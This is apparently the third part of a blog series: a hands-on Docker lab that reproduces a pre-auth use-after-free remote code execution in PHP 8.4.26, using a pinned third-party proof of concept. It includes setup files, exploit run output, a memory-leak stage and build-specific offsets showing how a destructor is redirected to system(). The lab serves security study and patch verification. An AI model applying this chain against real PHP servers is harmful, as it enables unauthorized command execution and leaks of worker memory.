This is a working exploit lab. It runs a public PoC that executes a command inside a vulnerable PHP container. Keep it bound to 127.0.0.1, do not expose it to the internet, and only run it against systems you own or have written permission to test.

Github Repo Here

CVE-2026-109618 · CVE-2026-109619 · CWE-416 / CWE-755 · PHP core

This is part 3 of 3: the Docker lab. Part 1 covers the story, impact, and patch. Part 2 explains the exploit internals
This is the hands-on reproduction. It builds a pinned php:8.4.26-apache container with one prefork worker, runs the public PoC against a hello-world page, and then runs the same chain against PHP 8.4.27 to prove the patch blocks it. The app is deliberately boring: no login, no upload form, no session code, no framework. If the exploit needs the application to be vulnerable, it fails here. It does not.

You need Linux x86_64, Docker, Docker Compose, Python 3.10 or newer, and git. The PoC is third-party code with no license file, so the lab fetches and pins it instead of vendoring it. Read it before you run it. The lab is calibrated for PHP 8.4.26 on amd64; ARM64 and other builds need their own offsets.

Building the Lab

The lab lives in ~/www/php2shell. It is a normal Docker Compose project with a Dockerfile. The Dockerfile derives from the exact official image, copies the production INI, and adds only the lab config and the hello-world app. It does not recompile PHP.

I tested the final lab on Debian 13.7 x86_64 with Docker 29.9.0 and Compose v5.6.0. The host had ASLR on. The container was unprivileged.

php2shell/Dockerfile
ARG PHP_IMAGE=php:8.4.26-apache@sha256:60111400ff77bdc44fa79b4f072afe49a42abba71e0846ad496be4761dc9c11a
FROM ${PHP_IMAGE}

# The PoC's heap layout depends on zend.assertions=-1 and the other
# production defaults.
RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini

COPY php/99-lab.ini /usr/local/etc/php/conf.d/99-lab.ini
COPY apache/zz-single-worker.conf /etc/apache2/conf-enabled/zz-single-worker.conf
COPY src/ /var/www/html/

RUN mkdir -p /out && chown www-data:www-data /out
EXPOSE 80

The Compose file builds that Dockerfile twice. The vulnerable service uses PHP 8.4.26. The patched profile uses 8.4.27. Both base images are pinned by digest, because the exploit's offsets are tied to the build.

php2shell/docker-compose.yml (excerpt)
services:
  vuln:
    build:
      context: .
      args:
        PHP_IMAGE: php:8.4.26-apache@sha256:60111400ff77bdc44fa79b4f072afe49a42abba71e0846ad496be4761dc9c11a
    platform: linux/amd64
    image: php2shell-lab:8.4.26
    ports: ["127.0.0.1:18088:80"]
    volumes: ["./out:/out"]

  patched:
    profiles: ["patched"]
    build:
      context: .
      args:
        PHP_IMAGE: php:8.4.27-apache@sha256:a0b75cee7023ba2c127138dcad2ecc6ec7e09435534645e70450f29f24ea2a5a
    platform: linux/amd64
    image: php2shell-lab:8.4.27
    ports: ["127.0.0.1:18089:80"]
    volumes: ["./out:/out"]

The PHP overrides are intentionally small. The base is php.ini-production. The lab sets memory_limit=128M, post_max_size=8M, display_errors=Off, and keeps session upload progress on, because that is the feature the chain abuses.

php2shell/php/99-lab.ini
display_errors = Off
display_startup_errors = Off
log_errors = On
error_reporting = E_ALL
memory_limit = 128M
post_max_size = 8M
upload_max_filesize = 2M
session.save_path = "/tmp"
session.upload_progress.enabled = On
session.upload_progress.cleanup = On

The Apache config sets one prefork worker. That is a teaching choice. It removes the worker lottery from the demo. The stock 150-worker config also works: the public PoC holds 149 workers open with partial POSTs, then sends A1, B1, A2, and B2 to the last one. I tested both.

Why the app is a hello world I wanted the proof to be boring. There is no login, no upload form, no session code, and no framework. If the exploit needs the app to be vulnerable, it would fail here. It does not. The trigger happens before the script can do anything useful.

Does using Docker Defeat the Purpose?

It is easy to assume a container somehow contains a memory-safety bug. It doesn't.

A container is a set of Linux namespaces and cgroups. It is not a memory safety boundary. The PHP process inside the container is a normal Linux process running on the host kernel. It uses the same PHP binary, the same glibc allocator, and the same ASLR behavior as it would on a VM or bare metal. The exploit sends HTTP requests to that process and runs a command inside the container as www-data. That is the correct scope for this bug. It does not need to escape the container, and it does not need host access.

Environment Does the bug work? What it is good for
Docker on Linux x86_64 Yes, verified here. Reproducible builds, pinned digests, isolated network, easy teardown, safe default. Best choice for this lab.
VM or VPS Yes, assuming the same PHP build and SAPI. Snapshot and rollback, different kernel or glibc, a stronger safety boundary for untrusted code. Useful, not required.
Bare metal Yes, same caveat. Closest to a production host. More setup and more cleanup. Not necessary to prove the bug.

The thing that actually matters is the exact build. The PoC's offsets are calibrated for this amd64 image: PHP 8.4.26, Apache 2.4.69 prefork, mod_php, glibc 2.41, Debian 13 base. A different PHP build, different allocator, different MPM, or a different architecture changes the heap layout. The vulnerability is universal. The exploit is not.

I did not need --privileged, SYS_PTRACE, seccomp=unconfined, host networking, or a mounted docker.sock. The container ran with default capabilities and default seccomp. The host had full ASLR: randomize_va_space=2. The exploit is pure HTTP.

Docker gives you
Pinned PHP build and digest
Reproducible heap layout
Isolated network namespace
Easy teardown
No host PHP install
No ASLR changes
No privileged container
Same exploit result
What Docker does not fix
The PHP memory-safety bug
The pre-auth request path
The stale worker state
The container's own compromise
The secrets inside the app
The need to patch
Windows and ARM Docker Desktop on Windows runs Linux containers in a VM. The lab is still a Linux PHP build, which is what the PoC targets. Use WSL2 or Git Bash for the scripts. I could only test on Debian 13 x86_64, so Windows is expected to work but is not verified here. ARM64 is a different story. The offsets in the public PoC are for amd64. Use an x86_64 host or VM, or port the exploit yourself. Do not assume the same numbers apply.

One practical warning: do not put the container under a very low cgroup memory limit. The exploit wants PHP's own memory_limit to fire at a controlled moment. If the kernel OOM killer takes the worker out first, you get a different failure. Give the container some room, or leave the cgroup limit out of the lab.

Running the PoC

The PoC output uses four stage names. Keep this table nearby while you read the logs:

Stage Role What it does
A1 OOM producer #1 Runs out of memory during session-cookie cleanup and leaves PS(id) pointing into the request heap.
B1 Leak consumer Reclaims that block with a forged zend_string and returns worker memory in a Set-Cookie.
A2 OOM producer #2 Runs out of memory again and leaves PS(http_session_vars) pointing into the request heap.
B2 Write consumer Reclaims that block with a fake reference and array, then runs the command through zif_system.

The first build pulls the official PHP image and clones the third-party PoC into .poc/ at a pinned commit. The PoC repository has no license file, so the lab does not vendor it. It fetches it, pins it, and prints a warning. Read the code before you run it.

Step 1 Check the build and the runtime. This catches the common failures before the exploit does.
You run
cd ~/www/php2shell
./scripts/preflight.sh
You see
PHP 8.4.26 (cli) (built: Oct 21 2026 00:31:19) (NTS)
display_errors => Off => Off
display_startup_errors => Off => Off
max_file_uploads => 20 => 20
memory_limit => 128M => 128M
post_max_size => 8M => 8M
zend.assertions => -1 => -1
session.save_path => /tmp => /tmp
session.upload_progress.cleanup => On => On
session.upload_progress.enabled => On => On

[+] preflight passed
Step 2 Run the full chain. The PoC sends A1, B1, A2, and B2, then checks for the proof file.
You run
./scripts/run-demo.sh

I trimmed the build and preflight noise here. The stage lines and proof below are exactly what the lab printed.

You see
[+] PoC pinned at 17e98ee81025cccfd94b4f9c9a17bf269c65ff75
[!] Third-party code: https://github.com/9bie/php2shell-bypass-aslr-exp.git
    (no license file). Review it before running.

[*] target says: hello from php2shell lab
[*] running the PoC (workers=1 because this lab uses one prefork child)

[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      decoded=819208 zval_ptr_dtor=0x7fc1b6806b60 -> libphp=0x7fc1b61a8000
      chunk buckets: [('0x7fc1b3e00000', 7495), ('0x7fc1b6800000', 1095),
                      ('0x7fc1b4600000', 87), ('0x7fc1b3c00000', 79)]
[try 1] A2 + B2: main=0x7fc1b4600000 S=0x7fc1b46f8398
      zif_system=0x7fc1b660d370
[4/4] RCE OK; proof ~/www/php2shell/out/pwned:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hello from php2shell

================ PROOF ================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hello from php2shell
=======================================

That is the whole demo. The app printed one line. The exploit wrote a file as the Apache worker. The addresses will change on every fresh container because ASLR is on. The shape of the output should not.

The command is intentionally small. It is a shell command, but the carrier has a length limit of roughly 200 bytes. id, whoami, pwd, or a short echo all fit. A reverse shell is not the point of this lab. The point is that arbitrary command execution crossed the boundary.

Step 3 Run the same PoC against the patched image. This is the differential test that matters.
You run
./scripts/run-patched.sh
You see
PHP 8.4.27 (cli) (built: Oct 21 2026 15:53:29) (NTS)

[*] running the same PoC against patched PHP

[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
      leak failed: RuntimeError('no heap pointers in leak window')
[4/4] all attempts failed

[+] PASS: no proof on the patched target

The patched build still takes the OOM. It just does not leave the malformed state behind. The leak stage finds no pointers, and the chain stops. That is what a real fix looks like for this bug class.

Step 4 Optional: demonstrate the memory disclosure without executing a command.
You run
docker compose restart vuln
python3 scripts/leak-only.py
You see
[*] A1: OOM during session-cookie cleanup
[*] B1: stale session ID -> forged zend_string -> Set-Cookie leak

response bytes:       1669198
decoded cookie bytes: 819208
most common pointer:  0x7fed4f6ebb60
derived libphp base:  0x7fed4f08d000
main chunk candidates:
  0x7fed4d400000
  0x7fed4ca00000
bucket counts:
  0x7fed4cc00000  7495
  0x7fed4f600000  1095
  0x7fed4d400000  87
  0x7fed4ca00000  79

[!] The cookie contains live worker memory. Do not paste it into
[!] reports or tickets. The numbers above are enough for the demo.

This stage is worth showing to people who think "RCE or nothing." The leak is a confidentiality breach on its own. The cookie can contain data from other requests handled by that worker. You do not need code execution to have a bad day.

Reproducibility notes The final lab succeeded on the first attempt in the initial clean run and in three fresh-ASLR restarts. The PoC still has five retries because heap layout is not a guarantee. If your first attempt fails, let it retry. If it fails five times, run ./scripts/preflight.sh and check the output. The usual causes are the wrong PHP build, a different INI, more than one worker, or background traffic hitting the single worker.

Under the Hood, Without the Full Memory Course

You do not need to understand every offset to use the lab. If you only care about the operational lesson, skip the rest of this post. If you want to know why the chain works, here is the short version. Part 2 has the full memory-level version.

The leak gives you the map

B1 forges a zend_string header at the stale session ID and sets the length to 0xC8000. PHP's session cookie code URL-encodes the string into a Set-Cookie. The result is about 800 KB of worker memory. The exploit scans that memory for pointers in the expected address range.

The most common pointer in the leaked region is zval_ptr_dtor, a function pointer stored in a real Zend hash table. Its offset from the libphp base is constant for this build. The exploit subtracts 0x65EB60 to get the libphp base. It then groups the leaked pointers into 2 MB aligned buckets to find the main ZendMM chunk. From there, it knows where to place the fake array.

Value Offset in this build How it is used
zval_ptr_dtor libphp + 0x65EB60 Leaked function pointer, used to derive the libphp base.
zif_system libphp + 0x465370 The handler the fake array calls during destruction.
Fake array S main + 0xF8398 Chosen landing spot in the main ZendMM chunk.
Fake execute_data S + 0x20 Makes the handler see one string argument.
Command string S + 0x80 The argument passed to system().

These numbers are specific to the pinned image. They are not universal constants. That is the difference between "PHP is vulnerable" and "this exploit works on this build." Both statements are true here, but they are not the same statement.

The write turns cleanup into a call

B2 sprays 384-byte values containing fake zend_reference structures. The reference points at the fake array at S. The fake array's pDestructor is zif_system. The fake execute_data sets num_args = 1 and points the first argument at a fake zend_string containing the command.

When PHP destroys the array, it walks the bucket and calls pDestructor. That is normally zval_ptr_dtor. Here it is zif_system. The handler runs the command string. The command writes to /out/pwned, and the worker may crash on the way out.

Why the exploit is build-specific The fake structures have to line up with the real Zend layouts for this PHP version and this allocator. The offsets depend on the binary, the compiler, glibc, and the loaded extensions. A patch release can move them. That is why the lab pins the image digest and why the PoC is not a universal point-and-click exploit.

Why the worker crashes after the command

The fake array and the fake reference are not real PHP objects. After the destructor runs, PHP continues tearing down structures that the exploit partially overwrote. A segfault is a normal outcome. The command has already executed. If you were writing a real implant, you would pick a command that survives the crash, such as writing a file or opening a reverse shell. For this lab, `id` is enough.

Part 2 has the struct layouts, offsets, and the full destructor chain. If you want to go lower than that, the PoC ships gdb scripts (pure/state.gdb, pure/force_b.gdb, pure/read_state.gdb) that attach to a debug build and dump ps_globals, the stale pointers, and the main Zend MM chunk.

Sources and Lab Files

What Where
Lab repository jcadima/php2shell-lab
Public PoC 9bie/php2shell-bypass-aslr-exp
commit 17e98ee81025cccfd94b4f9c9a17bf269c65ff75